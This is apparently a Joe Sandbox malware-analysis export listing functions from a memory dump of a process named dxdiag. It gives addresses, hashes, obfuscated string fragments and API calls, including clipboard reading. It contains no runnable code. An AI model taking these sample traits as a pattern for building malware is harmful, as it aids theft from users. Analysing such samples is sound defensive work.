Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b70ec3a45a838298925cd4cddba91232df754bc9f20b4abfcf63beb9f04927e9
Instruction ID: 1330599076484d40c3e41ed8303109be540c1e7eaad1d2ba3b2e5e3a43da2089
Opcode Fuzzy Hash: b70ec3a45a838298925cd4cddba91232df754bc9f20b4abfcf63beb9f04927e9
Instruction Fuzzy Hash: E07133316043018BD714EF28D8D1A7FB7E2EB89310F19E53EE8899B391DB389C409789

Function 00435530 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d9fbbb4968f9e9959b441f158be0a7c4b757bd456b857d1f889996084494c4
Instruction ID: 058e7eb1b77869290f7d29a5434ce18bf9e6f536ede9c38a5ab45312e861f76d
Opcode Fuzzy Hash: d7d9fbbb4968f9e9959b441f158be0a7c4b757bd456b857d1f889996084494c4
Instruction Fuzzy Hash: 79A1073250C7818FD3149B38885126FBBD25BCA324F194B6EE5EA473D1D678C941C74B

Function 0043A7F4 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ddc78d1b04d6bec4008d7390ca24b1b937114dd695eca5aeaa2e66312c2f3a60
Instruction ID: 862a6d1eb3e04205f618e8bd76b9e7ff9fb97f5fdbb19bdb3795918c96e67ed1
Opcode Fuzzy Hash: ddc78d1b04d6bec4008d7390ca24b1b937114dd695eca5aeaa2e66312c2f3a60
Instruction Fuzzy Hash: EF3179726805018BDB1CDB28DC91A7E7362EB5E324F2A572ED492B77E1C7389C12C749

Function 0040D866 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 343dc57fd85ca318e9cab81e4ba610ce05acd3c36ba71d43b9120f80a9a00c8a
Instruction ID: 01ca3aed7babf808add9e7fd7257d4aa18570a6a75482a61117814391ff3c097
Opcode Fuzzy Hash: 343dc57fd85ca318e9cab81e4ba610ce05acd3c36ba71d43b9120f80a9a00c8a
Instruction Fuzzy Hash: AA31BF76B10A008BD728CF29C851B26B7E3BFC6304F19D12DD09AC77A5EB78A8018B54

Function 0040CC16 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040CC1A
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CD67

Strings

(02N, xrefs: 0040CD73

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: Initialize
String ID: (02N
API String ID: 2538663250-482182587
Opcode ID: 5dda1f8ef3903148d2f90ff3463849efe98f65f23156c3258cfb4110ce7950d6
Instruction ID: d17696292bc297aee8fb915d5703223a9b482fd72e7288d2817973478bab555f
Opcode Fuzzy Hash: 5dda1f8ef3903148d2f90ff3463849efe98f65f23156c3258cfb4110ce7950d6
Instruction Fuzzy Hash: 3E41B6B4D10B40AFD370EF39DA0B7127EB4AB05250F504B2DF9EA866D4E631A4198BD7

Function 0040CDA5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CDB7

Strings

Nf, xrefs: 0040CDC7

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeSecurity
String ID: Nf
API String ID: 640775948-501009845
Opcode ID: cc0bac53719f05fd76b6ebac675668444252fa88d21156f1485ccdb508311816
Instruction ID: d4c561bf1a5b18bbc5a108682527e0612a5fd10810c78835407b1c78b182e784
Opcode Fuzzy Hash: cc0bac53719f05fd76b6ebac675668444252fa88d21156f1485ccdb508311816
Instruction Fuzzy Hash: 8AD092347D4240BAE2249708AC17F1022119302F55F300226B363EE2E0D9907141860D

Function 00433195 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004331B5

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 2f573e232fa3002a4601395236eb5b6ae86ddd1d5b3cef5a9b094565ea09aab7
Instruction ID: 3dcccac6d406af36a65d69c1e0d77e321988698b0dd3df6f47d0d67d5a4e7b69
Opcode Fuzzy Hash: 2f573e232fa3002a4601395236eb5b6ae86ddd1d5b3cef5a9b094565ea09aab7
Instruction Fuzzy Hash: 5A119435A055848FCB19CF38CC54B5ABFF16F4B201F09C1EED95997392CA349909CB11

Function 00439DE0 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,00000000,-00001000,0043634D,00000000,-00001000,00000040,?,00000000), ref: 00439E12

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: eb7d745538af2e112f280afb521d2e7db1d87c50453d574173b658df3250f6e1
Instruction ID: f371fc5d33ece009c4c3a0571b7c3e2245088c9ce721a5e6db8221790f4f6db8
Opcode Fuzzy Hash: eb7d745538af2e112f280afb521d2e7db1d87c50453d574173b658df3250f6e1
Instruction Fuzzy Hash: 99E02B76514710EBC6005F64BC07B1B3B64EF8A712F01083AF44496152DB38E801C5EF

Function 0042F18E Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F1D6

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: f066d8136630dc46cb24742ad5accdc9ac96aa1f0028cb8de37fa5b4ae37cf04
Instruction ID: 92cf7cd52a0b26c4ab4cf5037d2a8ef19b8d3357c895488f279ef1d82b73d9c3
Opcode Fuzzy Hash: f066d8136630dc46cb24742ad5accdc9ac96aa1f0028cb8de37fa5b4ae37cf04
Instruction Fuzzy Hash: 3AF0B7B45087018FE314DF29D5A8716BBF0FB84304F10891CE4968B391CBB5A648CF86

Function 0042CEE6 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042CF2E

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 2b6c7347b63c56c7ba1f0f97762e9121d9dc5645105ebc7166e137d76f548b4c
Instruction ID: 0899820397365732e2da90ce65a4afed0ef7eceabc5b433f77fa9bfe01264dcb
Opcode Fuzzy Hash: 2b6c7347b63c56c7ba1f0f97762e9121d9dc5645105ebc7166e137d76f548b4c
Instruction Fuzzy Hash: BFF0DA745093018FD314DF29D0A871BBBE0FB88714F00891CE4958B390DB75A648CF82

Function 00438612 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043862D

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 27747b72a67b977cf105f9c95d7ced292bc03dc07a125d0771843c6e3fd466d0
Instruction ID: 4b498aae19b3e6e4938b8adf9d962b10c79c0f4802967231e3dbdd59588952b8
Opcode Fuzzy Hash: 27747b72a67b977cf105f9c95d7ced292bc03dc07a125d0771843c6e3fd466d0
Instruction Fuzzy Hash: 7DC08C31404A26EBCA102F18BC07BCA3A20DF0A321F0308A1F900980B6C739DC92C9DC

Function 004385E0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,00000000,00414C1F,00000400), ref: 004385F0

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bca7d58748ae5aecf304c81bf07840e3b5a28b072888644e0b079d4f2959ecbd
Instruction ID: 1ff8db07d7a6c5951f5da3d7f0bd717f597c0928698ba3c33e75086f2b70e91b
Opcode Fuzzy Hash: bca7d58748ae5aecf304c81bf07840e3b5a28b072888644e0b079d4f2959ecbd
Instruction Fuzzy Hash: 3CC04C35445220AAC6106B15EC05B867B54DF49351F014055B104660728760AC418AD9

Non-executed Functions

Function 00412200 Relevance: 129.6, Strings: 102, Instructions: 2133COMMON

Download Yara Rule

Strings

<, xrefs: 00413994
!, xrefs: 00413DF7
O, xrefs: 00413647
4, xrefs: 0041276C
o, xrefs: 00413A8C
", xrefs: 00413DEF
9, xrefs: 004139F4
[, xrefs: 004139EC
g, xrefs: 00413A4C
I, xrefs: 0041395C
Q, xrefs: 00413677
5, xrefs: 00412DD5
$, xrefs: 004128CD
s, xrefs: 00412767
;, xrefs: 00412E05
H, xrefs: 00412624
E, xrefs: 0041393C
K, xrefs: 004135E7
, xrefs: 00413DFF
K, xrefs: 004128BD
3, xrefs: 00413934
Y, xrefs: 004139DC
/, xrefs: 00413E07
S, xrefs: 004139AC
Q, xrefs: 0041399C
=, xrefs: 00412E15
m, xrefs: 00413A7C
g, xrefs: 00412ED4
$, xrefs: 00413974
=, xrefs: 004139D4
@, xrefs: 00413363
e, xrefs: 00413A3C
), xrefs: 00413DCF
;, xrefs: 0041251D
W, xrefs: 004128DD
q, xrefs: 00413A9C
`, xrefs: 00412F89
7, xrefs: 00412DE5
c, xrefs: 00413A2C
O, xrefs: 0041398C
i, xrefs: 00413A5C
#, xrefs: 00413944
a, xrefs: 00413A1C
a, xrefs: 00412EA4
F, xrefs: 00413637
9, xrefs: 00413964
<, xrefs: 00412E0D
&, xrefs: 0041291D
0, xrefs: 00413914
(, xrefs: 0041247C
{, xrefs: 004139C4
|, xrefs: 0041319A
M, xrefs: 004136B7
D, xrefs: 004140F8
p, xrefs: 00413A94
_, xrefs: 00413A0C
p, xrefs: 00412375
t, xrefs: 004139B4
?, xrefs: 00412CFF
v, xrefs: 00413707
$, xrefs: 00412D0F
A, xrefs: 0041391C
M, xrefs: 0041397C
+, xrefs: 00413984
C, xrefs: 0041392C
=, xrefs: 00413A04
N, xrefs: 00413A84
D, xrefs: 00413B8D
f, xrefs: 00412ECC
G, xrefs: 0041394C
], xrefs: 004139FC
a, xrefs: 00413717
g, xrefs: 00413DDF
e, xrefs: 00412EC4
R, xrefs: 0041275D
K, xrefs: 0041396C
>, xrefs: 004139A4
Z, xrefs: 00412DCD
o, xrefs: 00413571
;, xrefs: 00412D1F
r, xrefs: 00412762
9, xrefs: 00412DF5
H, xrefs: 00413607
c, xrefs: 00412EB4
@, xrefs: 00413A14
:, xrefs: 00413954
W, xrefs: 004139CC
", xrefs: 004139E4
Y, xrefs: 004128ED
U, xrefs: 004139BC
W, xrefs: 00413667
A, xrefs: 00413627
A, xrefs: 00413373
k, xrefs: 00413A6C
g, xrefs: 00413195
f, xrefs: 00413737
}, xrefs: 0041290D
B, xrefs: 004135F7
&, xrefs: 004128FD
d, xrefs: 00413747
-, xrefs: 00413924
}, xrefs: 004122C2

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: $!$"$"$#$$$$$$$&$&$($)$+$-$/$0$3$4$5$7$9$9$9$:$;$;$;$<$<$=$=$=$>$?$@$@$A$A$A$B$C$D$D$E$F$G$H$H$I$K$K$K$M$M$N$O$O$Q$Q$R$S$U$W$W$W$Y$Y$Z$[$]$_$`$a$a$a$c$c$d$e$e$f$f$g$g$g$g$i$k$m$o$o$p$p$q$r$s$t$v${$|$}$}
API String ID: 0-2298439183
Opcode ID: 2fca1a34db66d2f979c72fa397fdd48071d883c2b4100c1f0ee5dc9a809098c4
Instruction ID: 083fd10bc4ed8af0561365f8755418076205ed3f8dd68f74a68bf74da31982d7
Opcode Fuzzy Hash: 2fca1a34db66d2f979c72fa397fdd48071d883c2b4100c1f0ee5dc9a809098c4
Instruction Fuzzy Hash: 8E13B23160C7C18AD335CB38845539FBBE2ABD6324F188A6EE4E9873D2D6788542C757

Function 004238F0 Relevance: 21.8, Strings: 17, Instructions: 517COMMON

Download Yara Rule

Strings

GI, xrefs: 00423BBD
46, xrefs: 0042444A
OM, xrefs: 00424123
02, xrefs: 0042443F
^E, xrefs: 00423E8E
8X, xrefs: 00424139
CH, xrefs: 00424144
JY, xrefs: 00423E7E
uv, xrefs: 00424025
GP, xrefs: 00423CD0
|~, xrefs: 00424384
rM, xrefs: 00423CC5
29B, xrefs: 00423860, 0042391F
O:, xrefs: 0042412E
rs, xrefs: 00423DEE
R\, xrefs: 00423E86
{w, xrefs: 00423CBA

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 29B$8X$CH$GP$JY$O:$OM$R\$^E$rs$rM$uv${w$02$46$GI$|~
API String ID: 0-2187006609
Opcode ID: ecc0fc787c0b6cd285c1698c568045089e0644926ad2ac97ce3fe72f36c1f917
Instruction ID: 571314284cfc883063d67328f2f268305e4fa17690c0835aa9d0b0b07ad656d6
Opcode Fuzzy Hash: ecc0fc787c0b6cd285c1698c568045089e0644926ad2ac97ce3fe72f36c1f917
Instruction Fuzzy Hash: 37421DB564C3818AD330CF54D842B9FBAF2EBD2300F00892DD5E96B256C775864ADB97

Function 00434ED0 Relevance: 21.6, Strings: 17, Instructions: 319COMMON

Download Yara Rule

Strings

], xrefs: 00434FBA
-, xrefs: 004351E2
<, xrefs: 0043516D
], xrefs: 00434EE8
[, xrefs: 00434FB0
#, xrefs: 00435232
q, xrefs: 0043508A
~, xrefs: 00435125
[, xrefs: 00434EDE
), xrefs: 00435237
&, xrefs: 00435177
H, xrefs: 00435120
y, xrefs: 00435116
\, xrefs: 0043517C
|, xrefs: 0043511B
\, xrefs: 00434FB5
\, xrefs: 00434EE3

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: #$&$)$-$<$H$[$[$\$\$\$]$]$q$y$|$~
API String ID: 0-875500967
Opcode ID: 3bcbecbddcf8bc29a05a5b43c94189d71db8383b50a5ea400568bbe92f363e52
Instruction ID: 5554db80201a8ba6ea3474702efe9192065d530e6ae71f569cd6bb248edef4d2
Opcode Fuzzy Hash: 3bcbecbddcf8bc29a05a5b43c94189d71db8383b50a5ea400568bbe92f363e52
Instruction Fuzzy Hash: 4FB10A23A1D7904AE314897C884535B9EC31BE6224F2ECB6DD8E5973C2D57DC9068393

Function 004303F0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 124clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00430404
GetWindowLongW.USER32 ref: 00430429
GetClipboardData.USER32 ref: 00430439
GlobalLock.KERNEL32 ref: 00430452
GlobalUnlock.KERNEL32 ref: 00430578
CloseClipboard.USER32 ref: 00430583

Strings

#, xrefs: 004304CE
m, xrefs: 004304D8
!, xrefs: 004304BA
o, xrefs: 004304E2
r, xrefs: 004304DD
$, xrefs: 004304C4

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: !$#$$$m$o$r
API String ID: 2832541153-1228291082
Opcode ID: 9aabbc75b445cbdc09f20715aaa2dda78bd6a68a7388c67d93f533054e1a149d
Instruction ID: 5f04a8027e3d7a55f1d66e97924e677b1801266d210010e4a128a03f4dc74b7a
Opcode Fuzzy Hash: 9aabbc75b445cbdc09f20715aaa2dda78bd6a68a7388c67d93f533054e1a149d
Instruction Fuzzy Hash: CC41907160C3818FD300EF78959935EBFE0AB95308F08593EE4C987292D6BD85499B5B

Function 0041676A Relevance: 20.4, Strings: 16, Instructions: 364COMMON

Download Yara Rule

Strings

-R?T, xrefs: 004168F8
G6DH, xrefs: 004168AB
*Z/\, xrefs: 004168E2
RT, xrefs: 004169C1
3N#@, xrefs: 004168C1
<F9X, xrefs: 004168D7
M*T,, xrefs: 0041685E
P&U8, xrefs: 0041687F
<^#P, xrefs: 004168ED
K:^<, xrefs: 0041688A
Z.\ , xrefs: 00416869
M"`$, xrefs: 00416874
UV, xrefs: 00416903
C>K0, xrefs: 00416895
g2V4, xrefs: 004168A0
0J4L, xrefs: 004168B6

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: *Z/\$-R?T$0J4L$3N#@$<F9X$<^#P$C>K0$G6DH$K:^<$M"`$$M*T,$P&U8$UV$Z.\ $g2V4$RT
API String ID: 0-3486322482
Opcode ID: ce30911c56949484c871613a9b58aee768a7c3ed8897db213ed400ca2e5a3e73
Instruction ID: bfdc5e733220a4266b0cee0809eb26845f7d15cd3bd46db4d77d1dfb423e5921
Opcode Fuzzy Hash: ce30911c56949484c871613a9b58aee768a7c3ed8897db213ed400ca2e5a3e73
Instruction Fuzzy Hash: 14B199B45093918BD7348F29C4907EBBBE0AF96304F558A2DD8C95B390DB798885CB87

Function 0040B124 Relevance: 19.1, Strings: 15, Instructions: 302COMMON

Download Yara Rule

Strings

WaLc, xrefs: 0040B204
'm&o, xrefs: 0040B219
HiBk, xrefs: 0040B212
8uZw, xrefs: 0040B22A
,Yu[, xrefs: 0040B1F6
i]m_, xrefs: 0040B1FD
iAbC, xrefs: 0040B1CC
5Q0S, xrefs: 0040B1E8
WePg, xrefs: 0040B20B
$q?s, xrefs: 0040B220
O;, xrefs: 0040B490
W;, xrefs: 0040B4C3
=?, xrefs: 0040B1C5
{-G/, xrefs: 0040B1A9
8I&K, xrefs: 0040B1DA

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: =?$$q?s$'m&o$,Yu[$5Q0S$8I&K$8uZw$HiBk$O;$W;$WaLc$WePg$iAbC$i]m_${-G/
API String ID: 0-2287720743
Opcode ID: a8e193ca5121b7fe708194ddb65a1b39536846b7ffe5ce25fb94a828c6cf7a23
Instruction ID: 29238d0ecd9fd652967a2f07aa34a714a27bdb8438f077e70085c6c9b953e65e
Opcode Fuzzy Hash: a8e193ca5121b7fe708194ddb65a1b39536846b7ffe5ce25fb94a828c6cf7a23
Instruction Fuzzy Hash: BAC1ABB4200301CFDB288F25D8917567BA1FB45310F2586BDDC5A9F29ADB34D842CF94

Function 0041DA80 Relevance: 15.9, Strings: 12, Instructions: 904COMMON

Download Yara Rule

Strings

R_QQ, xrefs: 0041E1A5
e, xrefs: 0041E1B5
UaUQ, xrefs: 0041DDF7
_s$, xrefs: 0041E45D
1>?<, xrefs: 0041E1F6
ubk$, xrefs: 0041DE5F
[]SN, xrefs: 0041DE0F
AHAq, xrefs: 0041DE17
ASSU, xrefs: 0041E1AD
}nn~, xrefs: 0041DE6A
R][j, xrefs: 0041DC9D
bs$, xrefs: 0041E493

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 1>?<$AHAq$ASSU$R][j$R_QQ$UaUQ$[]SN$_s$$bs$$e$ubk$$}nn~
API String ID: 0-3156591309
Opcode ID: 84e542dcf362c4722633b38991b48ed42a758c2a9ed69d5e91c7dd3c190ae891
Instruction ID: cb5f53731036b88b860b65b87d3060a00e5eb7a07e2cb5fd5f7d8ae11adf455f
Opcode Fuzzy Hash: 84e542dcf362c4722633b38991b48ed42a758c2a9ed69d5e91c7dd3c190ae891
Instruction Fuzzy Hash: 8852577590C3518FC725CF25C8407ABBBE1AF86304F084A6DE8E59B382D739D906CB96

Function 00425800 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 444COMMON

Download Yara Rule

Strings

BdB, xrefs: 00426434
jdB, xrefs: 00426464
r`B, xrefs: 00426065
~bB, xrefs: 00426278, 004264EC, 00426800
<=, xrefs: 0042620F

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: <=$BdB$jdB$r`B$~bB
API String ID: 0-3650543609
Opcode ID: 7283b4ef89dd7f4654847078150be036275240888603589d3de15dc1c6c1ce9b
Instruction ID: 340aef6d2692e72857662edcd36e925b24db6bbbcaf4b5bc792621142b15778b
Opcode Fuzzy Hash: 7283b4ef89dd7f4654847078150be036275240888603589d3de15dc1c6c1ce9b
Instruction Fuzzy Hash: 82E123B560C3808BD734DF24D85276BBBE1FB82314F05892DE0D69B352EB798501CB8A

Function 00417742 Relevance: 10.5, Strings: 8, Instructions: 526COMMON

Download Yara Rule

Strings

N, xrefs: 00417AE4, 00417B28
ts, xrefs: 004178FD
C, xrefs: 00417905
cp, xrefs: 004178F5
A}A, xrefs: 00417D3B
), xrefs: 00417B89
H, xrefs: 00417ADD
h{A, xrefs: 00417B47, 00417B61

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: )$A}A$C$H$N$cp$h{A$ts
API String ID: 0-2460436281
Opcode ID: e72cfd5e58267174583cb2aefa18fb3aa2280ca7967e1c0677e4e59f799665dc
Instruction ID: c091a61c3610e84d45043be11fa95010c19d3da449df3a573e39c3d9f215f14f
Opcode Fuzzy Hash: e72cfd5e58267174583cb2aefa18fb3aa2280ca7967e1c0677e4e59f799665dc
Instruction Fuzzy Hash: EFF14375A083518BD714DF28C8906ABB7F2FFD5314F188A2DE4C98B391EB389941C796

Function 004092D0 Relevance: 10.4, Strings: 8, Instructions: 436COMMON

Download Yara Rule

Strings

QS`, xrefs: 00409655
ca}`, xrefs: 004093B6
^=, xrefs: 0040940E
f}oe, xrefs: 004093A6
LS`, xrefs: 0040969B
v, xrefs: 00409321
zE, xrefs: 00409463
, xrefs: 004096EE

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: LS`$QS`$^=$ca}`$f}oe$v$zE$
API String ID: 0-1738842590
Opcode ID: 3b1b216516dbc741a7d0b8159a95c0c4f5c0bb8da2b18092da4a11f8244ac20c
Instruction ID: 8397652dd6c80c3d6384abaef94ac051be11649c1be440025a567e8f984c36e4
Opcode Fuzzy Hash: 3b1b216516dbc741a7d0b8159a95c0c4f5c0bb8da2b18092da4a11f8244ac20c
Instruction Fuzzy Hash: C0C1E77260C3918BC326CF69849076BFFE1AF96310F094A6DE4D55B382D3798D0AC796

Function 00427365 Relevance: 10.3, Strings: 8, Instructions: 338COMMON

Download Yara Rule

Strings

*O, xrefs: 004274D8
1Q<S, xrefs: 0042744E
!YZ[, xrefs: 0042745E
'I8K, xrefs: 0042743E
(MO, xrefs: 00427446
7E%G, xrefs: 00427436
5U$W, xrefs: 00427456
vw, xrefs: 004274EC

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: !YZ[$'I8K$(MO$*O$1Q<S$5U$W$7E%G$vw
API String ID: 0-110145457
Opcode ID: 9732b06a73e385f885b5dbe102d8aac1c51981338c974522d8cbeaa61a1d13e9
Instruction ID: 1450f61bfb5304e21163cb8565421a3d7c92680fc4378e386598e8c3f998bcbb
Opcode Fuzzy Hash: 9732b06a73e385f885b5dbe102d8aac1c51981338c974522d8cbeaa61a1d13e9
Instruction Fuzzy Hash: B2B1C1B6A1C3618BC724CF19A84166BB7F1EFC1304F14882DE9899B341E778D50ACB86

Function 00419710 Relevance: 10.0, APIs: 2, Strings: 3, Instructions: 1213COMMON

Download Yara Rule

APIs

Part of subcall function 00439E40: LdrInitializeThunk.NTDLL(0043C1EB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 00439E6E

FreeLibrary.KERNEL32(?), ref: 00419CA6
FreeLibrary.KERNEL32(?), ref: 00419D0B

Strings

I,~M, xrefs: 0041A423
ST, xrefs: 00419A7D
J,I., xrefs: 00419A90

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: I,~M$J,I.$ST
API String ID: 764372645-2805404608
Opcode ID: d890d32fbb13f0df0ad3a9381c1ff360bd9b398ea0201f9c1d6794e8eacfa1d7
Instruction ID: 3a946de6d06df9888b19065ab5da8f4f8076a039cb09845347bca5e298d55306
Opcode Fuzzy Hash: d890d32fbb13f0df0ad3a9381c1ff360bd9b398ea0201f9c1d6794e8eacfa1d7
Instruction Fuzzy Hash: ED8229746083409BE714DF24D890BAFBBE2EBD6314F28892DE58547392D779DC81CB4A

Function 0042456F Relevance: 9.1, Strings: 7, Instructions: 366COMMON

Download Yara Rule

Strings

?c:7, xrefs: 004249B7
]VWC, xrefs: 0042497B
$Q, xrefs: 004249C2
qAB_, xrefs: 0042478F, 0042479F
QVTH, xrefs: 00424983
,.-(, xrefs: 00424996
. &., xrefs: 004249AC

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: $Q$,.-($. &.$?c:7$QVTH$]VWC$qAB_
API String ID: 0-2163668455
Opcode ID: ca1b7030970def91fcc269924cbecb74bf813ef76d999bb66b241e4d17540760
Instruction ID: d19ded286c5482f05c95a3e280dd030e35027ba8af5a7be08d79747085adfcff
Opcode Fuzzy Hash: ca1b7030970def91fcc269924cbecb74bf813ef76d999bb66b241e4d17540760
Instruction Fuzzy Hash: 99B179717083A18BD724CB34A4412EBB7D1DFD6300F948A2FD9998B382E338D905D79A

Function 004281C0 Relevance: 8.2, Strings: 6, Instructions: 665COMMON

Download Yara Rule

Strings

%R6T, xrefs: 0042820E
1F&X, xrefs: 004281F9
